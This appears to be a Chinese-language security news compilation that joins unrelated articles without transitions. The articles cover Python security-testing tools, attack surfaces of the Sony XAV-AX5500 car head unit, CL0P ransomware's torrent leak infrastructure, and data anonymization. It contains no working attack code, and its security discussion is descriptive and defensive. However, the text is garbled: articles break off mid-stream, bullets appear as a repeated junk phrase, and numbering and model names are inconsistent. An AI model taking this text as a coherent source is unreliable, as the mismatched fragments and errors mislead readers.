Bandit— 一種靜態代碼分析工具,專門專注於識別Python 代碼中的安全問題和漏洞,檢查潛在的安全缺陷,例如SQL 注入、命令注入等

ZAP API Python— 一種API,可讓您訪問流行的ZAPWeb 應用程序掃描程序,以自動執行安全掃描並識別Web 應用程序中的漏洞

Vulners— 一個Python 庫,可讓您訪問世界上最大的安全數據庫,使您能夠分析有關已知漏洞和相關漏洞的信息;它還提供用於搜索、檢索、歸檔和漏洞掃描的API

網絡安全測試網絡是黑客最常見的入口點之一。網絡安全測試使網絡安全專家能夠通過識別網絡弱點和潛在入口點來防止未經授權的訪問、黑客攻擊和破壞。

Apriotit 的網絡安全團隊使用Python 進行網絡安全測試和自動化活動,例如端口和網絡掃描、套接字編程和Web 服務器指紋識別。

以下是一些基於Python 的庫,可以幫助您完成這些任務:

Scapy— 一個Python 數據包操作庫,用於生成自定義數據包。它有助於網絡分析、滲透測試和取證調查,使其成為一種極其通用且廣泛使用的網絡安全工具。

Socket— 一個內置模塊,允許您創建和操作套接字。使用Socket,您可以創建自己的網絡安全工具,例如網絡掃描器和端口掃描器。

Httprint— 一種Web 服務器指紋識別工具,可與Python 一起使用來識別Web 服務器軟件和版本,即使它被混淆了。

應用程序和網站安全測試應用程序和網站安全測試涉及對可能被攻擊者利用的軟件代碼和配置的系統評估。通過執行定期軟件測試,您可以保護您的產品免受DDoS 攻擊和其他基於負載的網絡攻擊。

為了評估系統在壓力下的抵抗力和執行能力,我們的網絡安全團隊模擬了高水平的流量和壓力。

Python 提供了大量庫,可以幫助自動化負載生成、壓力測試和DDoS 模擬等活動。讓我們看一下其中的一些。

Locust是一種開源工具,可以通過讓數百萬並髮用戶聚集來測試系統。 Apriorit 團隊使用Locust 通過負載測試來識別瓶頸、性能問題和系統限制。

AsyncIO是一個異步庫,我們的網絡安全專家通過創建具有多個並發請求或連接的腳本來進行應用程序壓力測試。

Psutil是一個用於進程和系統監控的跨平台庫。它可以幫助網絡安全專家在負載測試期間監控系統資源並識別漏洞或性能問題。

如您所見,通過使用不同的Python 工具進行安全測試,您可以增強系統抵禦現實攻擊的能力,最大限度地減少漏洞並主動保護您的資產。

現在,我們來談談使用安全分析來降低安全風險,以及如何使用Python 工具提高產品的網絡安全性。

使用Python工具進行安全分析安全分析使您能夠主動評估應用程序或系統的安全性,了解其安全架構及其效率。

為了保護您的軟件免受可能的網絡安全威脅和惡意因素的影響,編寫看似安全的高質量代碼是不夠的。根據手頭的任務和您所在的行業,您可能需要應用不同形式的高級安全分析:

image.png

Python 提供了多種工具可供選擇,可以幫助您的開發人員和安全專家完成所有這些任務。請記住,這絕不是用於安全分析的Python 工具的完整列表。

逆向工程逆向工程是分析軟件以揭示硬件和軟件的內部工作原理和結構的過程。這對於提高產品安全性、了解未記錄的代碼以及確保與第三方工具的兼容性至關重要。您還可以使用逆向工程來保護您的敏感數據免受網絡攻擊或發現侵犯知識產權的行為。

逆向工程要求開發人員在網絡安全方面擁有深厚的專業知識和廣泛的知識。 Apriorit 的逆向工程專家擁有強大的技術背景,隨時準備解決重要的任務。

在Apriorit,我們使用Python工具將二進製文件自動反彙編和反編譯為可讀格式,從而更好地理解程序的低級指令。例如,在我們的一個項目中,Apriorit 逆向工程師使用Python 來提高IDA操作反彙編代碼的能力。 Python 腳本還有助於提取特定信息、操作數據或執行靜態和動態分析。

如果您正在尋找用於逆向工程活動的Python 工具,請注意以下幾點:

Capstone— 一個輕量級反彙編框架,帶有Python 綁定,逆向工程師使用它將機器代碼反彙編為人類可讀的彙編語言

Radare2— 一個強大的命令行工具和庫,用於逆向工程、反彙編、調試和分析二進製文件

Frida-Python— 一組可移植的Python 綁定,允許開發人員使用流行的Frida 框架編寫用於動態分析和調試的Python 腳本

Pyhidra— 一個用於網絡安全的Python 庫,可以直接訪問最強大的逆向工程工具之一(稱為Ghidra),它允許您對二進製文件進行逆向工程、調試和分析代碼,以及反編譯、腳本和協作

Angr— 一個用於靜態和動態二進制分析的開源Python 框架,可幫助工程師了解閉源軟件的內部工作原理並識別潛在漏洞

惡意軟件分析惡意軟件分析使開發人員能夠識別和檢查惡意軟件,以確定其潛在影響、行為和功能。基於Python 的靜態和動態惡意軟件分析工具可以幫助您識別惡意軟件特徵,並通過在安全且隔離的環境中運行惡意軟件來保護您的軟件將來免受類似惡意軟件的侵害。

這對於開發防病毒軟件、威脅情報平台和其他網絡安全解決方案尤其重要,因為惡意軟件可以主動避開沙箱並試圖保持不被發現。

Apriotit 的網絡安全團隊在惡意軟件分析的每個階段都使用Python 工具,從安裝庫和設置受控環境到模擬和執行其中的代碼。這使得我們的網絡安全專家能夠毫無風險地觀察惡意軟件行為。

以下是我們推薦的用於高效惡意軟件分析的主要Python 工具和庫:

Pyew— 一種基於Python 的命令行工具,用於對惡意軟件樣本執行取證分析,可以轉換和反彙編文件並分析其中的代碼部分以檢測可疑行為

Yara-python— 一個允許您使用YARA 的庫,YARA 是一種用於惡意軟件研究、檢測和識別的流行工具

Cuckoo Sandbox— 一種允許您在安全且受控的環境中運行惡意軟件的工具,這樣您就可以安全地分析任何可疑文件並獲取有關該文件執行時的行為的詳細報告

Malgazer— 一個基於ML 的Python 惡意軟件分析庫,可幫助您自動執行各種分析任務、從惡意軟件樣本中提取特徵、對惡意軟件進行分類以及識別各種惡意軟件樣本的模式和趨勢

行為分析

行為分析允許您檢測系統或網絡甚至用戶操作中的任何異常活動。任何意外或非典型的行為模式都可能表明惡意內部人員、惡意軟件感染、DoS 攻擊等造成的安全威脅。

Apriotit 網絡安全團隊使用基於Python 的工具來分析行為,以設置模式識別和異常檢測。 Python 工具還可以幫助自動執行實時行為分析,以便您可以快速響應攻擊並在造成任何損害之前預防攻擊。

以下是各種Python 庫,可以幫助您輕鬆檢測系統中的異常行為:

PyOD— 一個專門且統一的Python 庫,具有一套全面的可擴展算法,用於檢測各種軟件系統中的異常數據,甚至是大型未標記數據集中的異常數據

Scikit-learn— 一個流行的基於ML 的Python 庫,具有多種基於數據異常值的異常檢測算法

TensorFlow— 一個用於檢測異常模式的開源機器學習庫。您可以使用Keras簡化TensorFlow 的工作,Keras 是一個前端API,為構建神經網絡提供高級接口。

Prophet— 一個Facebook 支持的庫,用於檢測時間序列數據中的異常情況,可用於識別異常網絡流量或系統行為

法醫分析取證分析使您能夠有效地響應網絡安全攻擊,恢復損壞的數據,並通過保護您的軟件來防止將來發生類似事件。

Apriorit 的網絡安全團隊使用Python 工具在數據雕刻、日誌分析和其他活動的幫助下進行取證分析。

以下是可用於取證分析的最流行的庫:

Dfvfs— 一個提供對來自各種類型的存儲介質和文件格式的文件系統對象的只讀訪問的庫

Volatility— 一種高級內存提取框架,有助於識別正在運行的進程、網絡連接和打開的文件,或檢測惡意軟件或入侵的跡象

Rekall— 一種提供高級內存分析功能的流行框架

在分析數據之前,您需要檢索數據。數據提取允許您從各種來源獲取數據,包括文件、數據庫、服務器、網絡流量和日誌。為此,您可以使用BeautifulSoup、MechanicalSoup和Requests等庫。

總體而言,安全分析不僅僅是您需要執行的一組任務。您需要持續執行此過程,以防止攻擊并快速響應。正確的安全分析策略與Python 工具和自動化的強大功能相結合,可以使您的網絡安全工作更加高效和一致。

結論確保產品的網絡安全需要採用複雜的方法,包括定期測試、分析、修補和錯誤修復。使用Python 腳本的網絡安全自動化可以幫助您進行定期安全活動並覆蓋軟件的每個部分,這樣它就不會成為黑客的切入點。

XAV-AX5500為索尼2020年發布的一款全新的車載中控屏幕設備,它提供了強大的聲音性能、流暢靈敏的觸控屏,並且可以與用戶的智能設備無縫集成。

規格上XAV-AX5500搭載了一塊6.95英寸屏幕,支持電容觸控,內置DSP(數字聲音處理器),搭載EXTRA BASS技術,兼容FLAC無損音頻文件;設計上,XAV-AX5500採用了無邊框設計,後機架單DIN尺寸,節省空間,圓滑的鋁製拉絲紋理按鈕,符合人體工學;功能上,XAV-AX5500兼容Android與iOS,同時支持Apple CarPlay和Android Auto。如果你的手機沒有上述2種功能,索尼XAV-AX5500還支持WebLink Cast,通過有線連接可以鏡像手機屏幕,此外還有倒車影像和快速喚醒等功能。

總的來說,索尼XAV-AX5500是一款流行的售後市場車載主機,可與車輛內的不同系統進行交互。不過,對於攻擊者來說,這也為攻擊者提供了一個攻擊汽車的潛在立足點。

索尼XAV-AX5500攻擊面從廣義上講,車載主機的攻擊面可以分為以下8類:

1.Abalta Technologies的WebLink。 Abalta Technologies是一家車聯網服務軟件解決方案提供商,目前致力於智能車載主機與車輛的整合,和LivioConnect協議一樣,Weblink從本質上來說是一種中間橋樑,它使得汽車的信息娛樂系統與便攜車載主機上的移動應用程序通過藍牙、USB或wifi進行連接和相互作用。 Weblink的很多應用程序已經得到許多追捧,例如導航類應用程序WebNav,流媒體音樂程序Slacker,事件指南應用Wcities以及一個指導你停車的應用程序Parkopedia。

2.Apple CarPlay。 CarPlay 是Apple的車載系統,它將用戶的iOS車載主機、 iOS使用體驗與儀錶盤系統無縫結合,CarPlay僅僅支持擁有Lightning接口的iPhone手機,另外雖然iPad已經支持這一接口,但是蘋果並未將iPad列為CarPlay支持的硬件車載主機。 2016年6月13日,蘋果在WWDC開發者大會上表示,該公司的智能車載系統CarPlay將與iOS 10一同更新,成為新版蘋果地圖和Siri的最佳搭檔。

3.Android Auto。 Android Auto 是谷歌推出的一款車載智能係統,它可以讓您在駕駛過程中便捷使用手機上的地圖、音樂、電話、信息等功能。 Android Auto 的界面設計簡潔美觀,操作邏輯清晰易懂,語音控制功能強大靈敏,支持多種第三方應用。

3.衛星廣播服務SiriusXM。 Sirius XM為美國的數字及衛星廣播服務供應商,提供各種與聲音有關的數字娛樂,不管是音樂、運動、談話節目或播客等,號稱是北美最大的數字音頻供應商,其SiriusXM服務安裝在美國所有主要汽車品牌的新車上,就算是中古車也有接近一半內置了SiriusXM。 SiriusXM系統含有一個身份認證漏洞,由於SiriusXM被集成在不同品牌的車載資訊系統上,於是便可藉由該漏洞挾持車載資訊系統,只要知道汽車的識別碼(VIN),就能訪問汽車與車主資訊、遠程解鎖及啟動汽車、定位汽車或閃光燈等。

4.藍牙連接。

5.USB媒介。

6.無線電數據系統(RDS),它是在調頻廣播發射信號中利用副載波把電台名稱、節目類型、節目內容及其它信息以數字形式發送出去。 rds 系統獨有“交流信息”功能,若有緊急事件,電台就會發送特殊信號,令收音機強行播放。 rds 在汽車,手機等移動車載主機上使用很方便。

7.開源軟件。

以下鏈接提供了製造商關於XAV-AX5500車載主機的詳細信息,它們提供了車載主機中使用的技術的更多描述。

1.索尼XAV-AX5500產品頁面https://www.sony.com/et/electronics/in-car-receivers-players/xav-ax5500;

2.索尼XAV-AX5500文檔下載https://www.sony.com/electronics/support/mobile-cd-players-digital-media-players-xav-series/xav-ax5500/manuals;

3.索尼XAV-AX5500固件下載https://www.sony.com/electronics/support/mobile-cd-players-digital-media-players-xav-series/xav-ax5500/downloads;

4.索尼XAV-AX5500規格https://www.sony.com/et/electronics/in-car-receivers-players/xav-ax5500/specifications;

5.索尼XAV-AX5500幫助指南https://helpguide.sony.net/ev/xav-ax55/v1/en/index.html;

6.索尼XAV-AX5500幫助指南- USB端口功能描述https://helpguide.sony.net/ev/xav-ax55/v1/en/contents/TP0002733734.html;

Abalta Technologies的WebLink索尼XAV-AX5500使用Abalta Technologies的webblink應用程序,該應用程序在車載主機上同時支持Apple CarPlay和Android Auto。當通過USB將手機連接到車載主機時,用戶必須啟動WebLink應用程序才能激活Apple CarPlay或Android Auto。

除了啟用駕駛員首選的駕駛輔助技術外,WebLink應用程序還提供了自己的一組功能,這些功能可能會擴大索尼XAV-AX5500和聯網手機的攻擊面。

第一個最有可能被濫用的應用程序是WebLink的“Cast”功能。 Cast功能顯示所連接手機的觸摸界面,這允許用戶直接從索尼XAV-AX5500觸摸屏控制他們的手機。 Cast功能要求用戶從其移動車載主機授予權限。此外,每次啟動Cast連接時,用戶都必須允許從連接的手機進行此鏈接。這可能會限制安全風險。一旦獲得許可,手機上的任何應用程序都可以從車載主機啟動,索尼XAV-AX5500將幾乎完全控製手機功能,包括更改手機配置和訪問敏感用戶數據的能力。如果車載主機被攻擊者破壞,攻擊者可能會利用Cast功能訪問或修改手機上的數據。

第二個可能被濫用的WebLink功能是WebLink的“音樂”功能,此功能顯示有關手機上當前播放的歌曲信息。目前還不完全清楚通過連接惡意手機進行濫用的可能性,但確實存在潛在的攻擊面。

其他應用程序也與WebLink捆綁在一起,比如與連接的手機上的Waze衛星導航應用程序集成。它還實現了一個本地YouTube應用程序。

Apple CarPlay索尼XAV-AX5500支持Apple CarPlay駕駛輔助技術。連接的手機必須安裝了webblink應用程序,才能在車載主機上訪問CarPlay,連接手機後,WebLink將與該車載主機建立CarPlay會話。這種集成方式的安全影響目前尚不清楚。

一旦建立了CarPlay會話,車載主機和連接的手機就通過USB進行通信,其方式似乎與觀察到的連接手機和其他製造商銷售的車載主機之間發生的通信相同。

車載主機和連接的手機之間的Apple CarPlay通信通過使用IPv6連接的USB進行操作,在連接啟動過程中,車載主機和連接的手機以明文形式交換少量信息,其中一些通信包括二進制Apple plist數據的傳輸。在此初始配置建立之後,連接的手機啟動與車載主機單元的加密TLS會話,需要對這種通信進行進一步的研究,以評估通過USB和IPv6進行CarPlay通信的安全性。

Android Auto索尼XAV-XV5500還支持Android自動駕駛輔助技術,連接的手機必須安裝WebLink應用程序,才能在車載主機上訪問Android Auto。連接手機後,WebLink將與車載主機建立Android Auto會話,這種集成方式的安全影響目前尚不清楚。有關研究人員正在進行進一步的研究,以更好地了解索尼XAV-AX5500和連接的安卓手機之間的通信。

SiriusXM衛星廣播索尼XAV-AX5500與SiriusXM衛星廣播接收器捆綁在一起,此接收器連接到車載主機背面的ten-pin連接器。使用該接收器的通信代表了對車載主機的潛在攻擊面。然而,攻擊者可能必須擊敗從SiriusXM網絡接收的信號中的安全層,才能嘗試通過該通信信道對索尼XAV-AX5500進行攻擊。

除了針對接收器的無線電層攻擊外,SiriusXM接收器和索尼XAV-AX5500之間的本地通信也可能受到攻擊,威脅模型的這一部分可能不在Pwn2Own Automotive的範圍內,因為針對這一部分的攻擊需要對車載主機進行不受控制的物理訪問。此外,與通過USB總線進行的攻擊不同,USB總線需要隨意的物理訪問,如果不從儀表板上拆下整個單元以訪問車載主機後部的連接器,用戶就無法使用SiriusXM接收器的連接器。

藍牙通信索尼XAV-AX5500支持與兼容的移動手機使用藍牙通信。這允許車載主機訪問連接的手機,以便撥打電話、播放音頻和其他潛在用途。上述車載主機用戶手冊中列出了支持的配置文件和其他藍牙支持。

供應商提供的用戶指南如下:

1.png

USB媒介連接索尼XAV-AX5500廣泛使用USB總線連接手機。車載主機還支持其他類型的USB車載主機,如媒體播放器和USB存儲車載主機。該車載主機支持多種類型的媒體文件編解碼器進行播放。

索尼XAV-AX5500還支持多種版本的FAT文件系統,支持此文件系統類型的車載主機通常在文件系統驅動程序中實現支持。這些類型的系統驅動程序受制於解析特製的文件系統。如果車載主機文件系統驅動程序中存在漏洞,則具有臨時物理訪問權限的攻擊者如果連接了一個精心設計的文件系統,就可能對車載主機文件系統驅動程序執行攻擊。

索尼XAV-AX5500支持多種媒體編解碼器,可在車載主機上播放。其中包括許多使用最廣泛的音頻編解碼器,包括MP3、WAV、AAC和其他媒體格式。車載主機還支持幾種廣泛使用的視頻編解碼器,如MPEG-4和WMV。像這樣的媒體格式是複雜的數據流,這些編解碼器的解析可能容易包含解析錯誤,這些錯誤可能會對執行解析的代碼產生安全影響。

無線電數據系統(RDS)索尼XAV-AX5500實現了對無線電數據系統(RDS)標準的支持,本標准定義了在傳統調頻無線電廣播中傳輸數字信息的方法。這表示由車載主機單元處理的未經驗證的數據源,該標準支持多種數據格式。許多數據字段的大小受到標準中定義的限制。研究人員尚未對索尼XAV-AX5500的RDS實現進行調查,其安全風險目前未知。

開源軟件這些信息是從索尼觸摸屏上收集的。這裡提供的年份是試圖識別正在使用的版本的開始,更好的方法是獲取車載主機的文件系統映像以獲得更好的信息。

2.png

索尼XAV-AX5500硬件詳細信息索尼XAV-AX5500由兩塊電路板組成。顯示板承載主顯示屏,以及機組上所有其他用戶界面按鈕,主板連接到車輛,並承載主ARM CPU和無線模塊。為了更好地識別這些設備,有必要進行更多的研究。

索尼XAV-AX5500PCB的詳細圖像如下所示:

3.png

具有無線模塊和ARM CPU的PCB板的A面

4.png

具有無線模塊和ARM CPU的PCB板的B面

5.png

PCB的A面顯示了MXT499T-T自適應觸摸屏控制器和其他組件

6.png

PCB的B面顯示了MXT499T-T自適應觸摸屏控制器和其他組件

總結雖然這些可能不是索尼XAV-AX5500車載主機上唯一可用的攻擊面,但它們代表了攻擊者最有可能利用該車載主機的途徑。索尼長期以來一直是無線電和消費類車載主機的領導者,從20世紀50年代的簡單晶體管收音機到80年代無處不在的隨身聽,再到90年代的世界上第一台車載迷你光盤播放器,索尼一直在推動娛樂技術的發展。

CL0P是2023年最活躍的勒索軟件組織之一,僅次於LockBit,在最近10個事件響應樣本中,研究人員均觀察到了CL0P。 CL0P勒索軟件組織在成功竊取了數千家公司的數據後,開始使用torrent來傳播受害者數據。

CL0P的torrentseed基礎設施為研究人員提供了一個獨特的機會,讓研究人員深入了解了臭名昭著的勒索軟件組織的直接運行方式,並深入了解他們的交易技巧。通過分析託管被盜數據的現有torrentseed基礎設施,研究人員可以更好地了解這一變化的含義。

1.png

為了保護這次攻擊的受害者,研究人員將組織的名稱換成了Pokémon的名稱

CL0P和MOVEit傳輸漏洞的歷史2023年5月底,Progress開發的一款名為MOVEit的軟件產品成為CL0P勒索軟件組織利用的零日漏洞的目標。

CL0P聲稱利用了MOVEit傳輸漏洞,據美國網絡安全和基礎設施局(CISA)估算,該組織對3000多家美國組織和8000多家全球組織實施了攻擊。

CL0P於2019年初出現,並因對受害者使用勒索策略來增加支付贖金的壓力而迅速臭名昭著,他們竊取數據並發布其中的片段。所以,受害者寧願付費,也不願冒險讓他們的數據在全球曝光,這可能比任何傳統的勒索軟件活動都更具破壞性。

然後,這些數據被發佈在一個“洩漏網站”上,如下圖所示,該網站通過洋蔥路由器(Tor)網絡提供服務,這樣做CL0P就可以發起匿名攻擊。

3.png

CL0P洩漏

如果你以前用過Tor瀏覽器,就會發現為了匿名,運行速度會非常慢。雖然近年來這方面有了很大的改善,但由於傳輸速度的原因,試圖從洩漏網站下載數據仍然是一個挑戰。

但是,當你從成千上萬的公司竊取數據時,下載速度會慢的讓人發狂。 Torrenting 使世界各地的用戶能夠連接和分享內容,而不必依賴單一的下載源,儘管這種方法很合適,但它仍然有一些缺點。下載過程會影響你設備的速度和功能,而且大文件會佔用大量的存儲空間,這看似對受害者有利,因為通過洋蔥網絡獲取一些洩漏信息是不切實際的。既然攻擊者無法下載被盜數據,為什麼還要支付贖金呢?CL0P改變了他們的策略來解決這個新的數據訪問問題。他們在洩露網站上發帖稱,從2023年8月15日起,他們將開始通過包括torrent在內的多種新方法發布被盜數據,這種方法利用節點文件交換,大大加快了下載過程。

4.png

數據發布變更公告

為此,攻擊者兌現了他們的聲明,並創建了一個新的洩漏網站,該網站具有磁力鏈接,即包含文件哈希的超鏈接。大多數torrent客戶端都可以使用這些鏈接來下載數據。

所以,當受害者拒絕支付勒索金額時,攻擊者都會通過這種方法穩定地發布一組新的受害者數據。

5.png

具有磁力鏈接的CL0P洩漏網站

人們現在可以以更合理的速度下載128 GB的ZIP文件,而不是試圖通過洋蔥網絡下載一個可能需要幾天甚至幾週才能獲得的文件。然而,torrent有一個問題,那就是數據必須先被播種,這樣你就可以為其他人引導下載速度。這為研究人員提供了一個獨特的機會,通過識別和分析這些torrent的初始seed來深入了解CL0P操作,這個識別過程將是本文的講解重點。

Torrent在深入分析之前,有必要回顧一下torrent的一些概念及其功能。

有兩種類型的“Torrent”,torrent文件本身大多數人都很熟悉,還有磁力鏈接。 torrent文件將包含一條關於跟踪器的信息。

然後,該跟踪器將與客戶端共享節點信息,以便客戶端可以定期接收有關其他對等點的更新,這些對等點可能擁有它們試圖下載的數據片段,這允許對等點快速連接到多個其他對等點,並開始以更高的速率交換數據。

跟踪器對於正常的交換非常有用,但對於操作安全性來說可能不是最好的,因為它們提供了對等點的列表。

磁力鏈接類似於torrent文件,但它們通常沒有任何與跟踪器相關的信息。相反,當客戶端加載磁力鏈接時,它將包含一個從文件的多個方面計算出來的哈希值,該哈希值用於唯一標識torrent所代表的數據。

這種無跟踪器torrent的工作原理是連接到一個分佈式哈希表(DHT)節點,並尋找對等點,這樣就可以交換信息了。

6.png

torrenting過程,將追踪器的使用與磁力鏈接進行比較

然後,這些對等點可以交換他們所知道的其他對等點的信息,並且他們可以開始構建連接網絡,最終加快下載過程。

這種去中心化的方法是CL0P為其數據傳播所選擇的。

計劃當然,這種可跟踪性對於任何以前使用過BitTorrent的人來說都不是什麼新聞。多年來,政府、律師事務所和其他機構一直使用這一機制來跟踪與盜版相關活動的同行。

20世紀90年代末,美國唱片業協會(RIAA)對Napster採取了法律行動,接下來的幾年裡,這些因參與這些節點交換的用戶而被起訴,因為這些組織可以識別連接的對等點的IP地址。

那這有什麼不同呢?這裡的主要區別在於,研究人員處理的不是一部被盜電影的torrent,而是數百個單獨的torrent。每個torrent都需要一個初始seed,以便對等點連接、開始下載和交換數據,這就為攻擊創造了機會,其中只有一個對等點擁有100%的文件,而其他對等點正在下載其他部分。

識別遊戲的名稱是速度,其中有兩個因素。首先,你加入這個去中心化群的速度;第二,你與初始100%播種器節點的速度。

當只處理一個torrent時,這兩個因素都非常不可靠。然而,當你從更宏觀的角度看所有的torrent數據時,它描繪了一個非常不同的畫面。

由於研究人員是在後期才加入了torrent,結果100%的對等點不像最初的播種者(seeder)那樣可靠。為了抵消這種影響,研究人員查看了攻擊者釋放它們時的所有節點流,並與較舊的torrent流進行了交叉引用。這讓研究人員可以看到哪些人可能是“真正的”播種者。

在繼續之前,研究人員需要做個簡短的警告,許多人出於各種原因下載這些洩露數據。有時是出於惡意的原因,如獲取憑證、竊取知識產權或進一步利用受害者。

然而,還有許多其他實體出於善意下載了這些數據,他們用這些數據來進一步幫助受害者或其他組織,或進行研究。雖然研究人員無法推斷意圖,但至少可以比較兩組實體的行為。

儘管相關組織採用了多種保護措施,但涉及個人身份信息(PII)的數據洩露仍然會給各行各業造成重大的經濟損失。根據IBM發布的《2023年数据泄露成本报告》 顯示,在2022年3月至2023年3月期間,被洩露的客戶和員工PII分別給企業造成了每條記錄183美元和181美元的損失。

匿名化(Anonymization)是最有效的數據保護措施之一,可以防止個人數據洩露,或者至少可以降低每個洩露的個人數據記錄的成本。在本文中,我們將了解什麼是數據匿名化,研究其類型和主要挑戰,並提供有關匿名化數據的最佳實踐。

什麼是數據匿名化?數據匿名化是將敏感的個人信息轉換為不能與特定人員聯繫的匿名數據的過程。此過程包括刪除或編輯PII。根據個人身份信息的獨特性和個人身份識別的難易程度,個人身份信息可分為兩類:

马云惹不起马云直接標識符(Direct Identifier),指的是可用於直接識別個人的唯一信息,包括姓名、物理地址、電子郵件地址、可識別的照片、電話號碼和社保號碼等。

马云惹不起马云間接標識符(Indirect Identifier),也稱為“類識別符”,指能夠幫助建立信息之間的關聯,將要識別的個人從人群中摘選出來的數據。常見的間接標識符包括生日、年齡、性別、郵件編碼等。這些數據無法單獨識別某人,但稍作組合就可以實現強大的識別能力。

數據匿名化可以幫助公司保護其客戶、員工或合作夥伴的敏感信息隱私,同時仍允許他們將其用於商業目的。因此,如果惡意行為者設法破壞以前匿名化的數據,他們將無法輕鬆識別該數據屬於誰;反過來,數據匿名化有助於防止身份盜竊、金融欺詐、跟踪和騷擾、歧視和其他侵犯隱私的行為。

根據Verizon的《2023年数据泄露调查报告》 ,個人數據是以下行業中最常見的數據洩露類型:

马云惹不起马云金融和保險,個人數據洩露佔比74;

马云惹不起马云醫療保健,67%;

马云惹不起马云製造業,60%;

马云惹不起马云專業的科學和技術服務行業,57%;

马云惹不起马云教育服務,56%;

马云惹不起马云信息行業,51%;

马云惹不起马云採礦、採石、石油和天然氣開采和公用事業政府,50%;

马云惹不起马云公共管理機構,38%。

由於數據洩露,各行各業仍在丟失大量個人數據,上述統計數據強調了實施量身定制的個人數據保護措施的重要性。

個人數據洩露不僅表明組織的安全存在漏洞,還可能導致客戶信任和收入的損失、違規罰款和法律責任。

通過隱藏或刪除收集數據中的PII,組織可以將未經授權訪問內部數據資產所造成的損害降至最低。這就是匿名化的目的。

數據匿名化的類型數據的匿名化可以通過多種方式實現,以下是一些最常見的數據匿名化技術:

1. 數據脫敏(Data Masking)數據脫敏,又稱數據漂白、數據去隱私化或數據變形,指的是對數據集中的敏感信息進行加密,以便在企業用於分析和測試時保護原始數據。在涉及用戶安全數據或一些商業性敏感數據的情況下,在不違反系統規則條件下,對真實數據進行改造並提供測試使用,如身份證號、手機號、卡號等個人信息都需要進行數據脫敏。

當數據需要由不同的各方共享或訪問時,這種技術通常很有用。例如,可以用隨機生成的字符或數字替換諸如社會保險號、姓名和地址之類的個人識別信息(PII),或者用“X”替換社會保險號或信用卡號中除最後四位數字以外的所有數字,從而保護數據安全。

2. 數據泛化(Data Generalization)顧名思義,這種技術是用更通用的數據值替換特定的數據值,敏感數據可以被修改成一系列的範圍或一個具有合理邊界的大區域,或者在保持數據準確性的前提下,刪除一些標識符。例如,一個人的確切年齡是匿名的,只顯示一個更通用/廣泛的年齡範圍,比如25-34歲。因此,這種技術可以應用於多種類型的數據,例如人口統計數據或事務數據。值得注意的是,平衡對數據執行的泛化也很重要,這樣它就不會損害數據對分析的有用性。

3. 數據置換(Data Swapping)這種技術指的是在數據集中重新排列或置換兩個或多個敏感數據記錄,匿名化是通過將一條記錄中的值與另一條記錄的相應值置換或交換來完成的,即置換數據集中兩條記錄的位置。例如,在包含姓名或社會保險號等敏感信息的醫療記錄中,置換某些字段的值將有助於保護患者的隱私,同時保持所有其他記錄的完整。對數據集中兩個或多個個體之間的值進行置換不僅能夠保留數據集的統計屬性,還能保護個體的身份安全。

4.數據假名化(Pseudonymization)這種技術被認為不如其他匿名化技術(如數據脫敏)有效,後者確保匿名數據集難以檢索,在這種技術中,原始PII被替換為假標識符或假名,但保留了可以訪問原始數據的特定標識符。因此,虛假標識符可能與個人的真實身份直接相關,也可能不直接相關。數據假名化通常用於任何業務分析或測試不需要敏感或個人數據,但需要掩蓋個人身份的情況。例如,在醫學研究中,根據倫理和強制立法,病人的身份可能需要模糊。但是,可能仍然需要某些形式的病人身份證明,以便將不同來源的醫療記錄聯繫起來。

它可以與散列、加密或令牌化等方法結合使用。例如,將姓名或身份證號等數據轉換為固定長度的字符串,稱為散列或隨機生成的令牌(隨機字母數字代碼),它是原始數據的唯一表示,但不能反向識別或顯示原始數據。然後,該散列可以用作原始PII的假名。

5.差分隱私(Differential Privacy)差分隱私(簡稱DP)是用來保護隱私的密碼學技術,通過對查詢的結果加入噪音,使得查詢操作的實際結果隱藏起來或模糊化,直至無法區分,從而實現對敏感數據的保護。這種受控噪聲不會顯著影響對數據進行的任何分析結果的準確性;因此,它是一種基於擾動的匿名化的具體方法。添加到數據中的噪聲量由一個稱為隱私預算的參數決定

不過,無論您選擇何種方法對組織中的數據進行匿名化處理,都仍可能會面臨一些挑戰。

數據匿名化的主要挑戰有效的匿名化可以起到很好的屏障作用,然而,實現有效的匿名化並不像想像的那麼容易。以下是組織在匿名化數據時經常面臨的關鍵挑戰:

1.平衡隱私和實用性在數據匿名化和數據效用之間取得平衡至關重要,但也極具挑戰性。一方面,有效的匿名化過程對於保護客戶、員工和其他用戶的隱私至關重要。因此,能夠從數據中完全清除PII的匿名化技術和工具對於維護個人隱私非常有益。

另一方面,企業收集和使用對研究、分析和決策有價值的數據也是至關重要的。事實上,完全匿名的數據可能會對業務毫無價值,這使得數據收集和處理失去了原有意義。

組織的最終目標是實現和維護最大程度的隱私保護,同時保持足夠的數據準確性。實現這一目標可能需要對數據匿名化過程進行持續評估和優化。

2.防止重標識(re-identification)除非您使用的是一勞永逸地刪除個人身份信息的匿名化技術,否則始終存在匿名數據被用來追踪特定個人的風險。

惡意行為者利用大量攻擊來重新識別個人,甚至重利用匿名數據。例如,如果他們設法訪問包含財務信息的匿名數據集,然後將其與其他數據集(如選民登記數據庫)結合起來,並最終執行重標識。

因此,組織必須確保所收集信息的隱私性。為加強對數據隱私的保護,可考慮將匿名化與其他數據安全方法結合使用。

3.遵守數據安全要求各種數據保護法案定義了組織應該如何收集、存儲和處理個人信息。其中一些法案建議使用匿名化技術,例如:

马云惹不起马云通用數據保護條例(GDPR)——這是一項歐盟法規,它沒有強制要求數據匿名化,但鼓勵使用匿名化技術來保護數據以及其他保護措施。

马云惹不起马云加州消費者隱私法案(CCPA)——美國法案,強制組織匿名收集數據,以提高數據的隱私性。它還要求各組織採取一切必要手段保持數據匿名化並防止重標識。

马云惹不起马云個人信息保護和電子文檔法案(PIPEDA)——加拿大的一部法律,要求組織保護個人信息,並將匿名化列為數據保護方法之一。每一項立法都明確規定,組織需要像對待個人數據一樣對待匿名數據,並對其進行適當保護。

數據匿名化最佳實踐下述數據匿名化最佳實踐可以幫助組織保護個人信息,同時保留數據的分析價值。

1.進行數據發現和分類如果不知道數據集中存在什麼PII,談何匿名化數據。這就是為什麼有必要識別收集和存儲的數據中的所有直接和間接標識符,執行數據發現和分類可以幫助實現這一點。

數據發現旨在簡化數據管理。它涉及到組織存儲的所有數據的標識、數據類型以及不同數據資產之間的關係;另一方面,數據分類結合了基於數據屬性和特徵的分類和標記。通過將數據劃分為不同的類別,數據分類使組織更容易實現針對各種類型數據的具體情況量身定制的安全措施。

實現這兩個實踐可以讓組織準確地識別需要匿名化的敏感數據,並確保所有此類數據均受到保護。此外,組織還可以以此決定使用哪些匿名化技術,並選擇能夠處理需要匿名化的具體數據的技術。

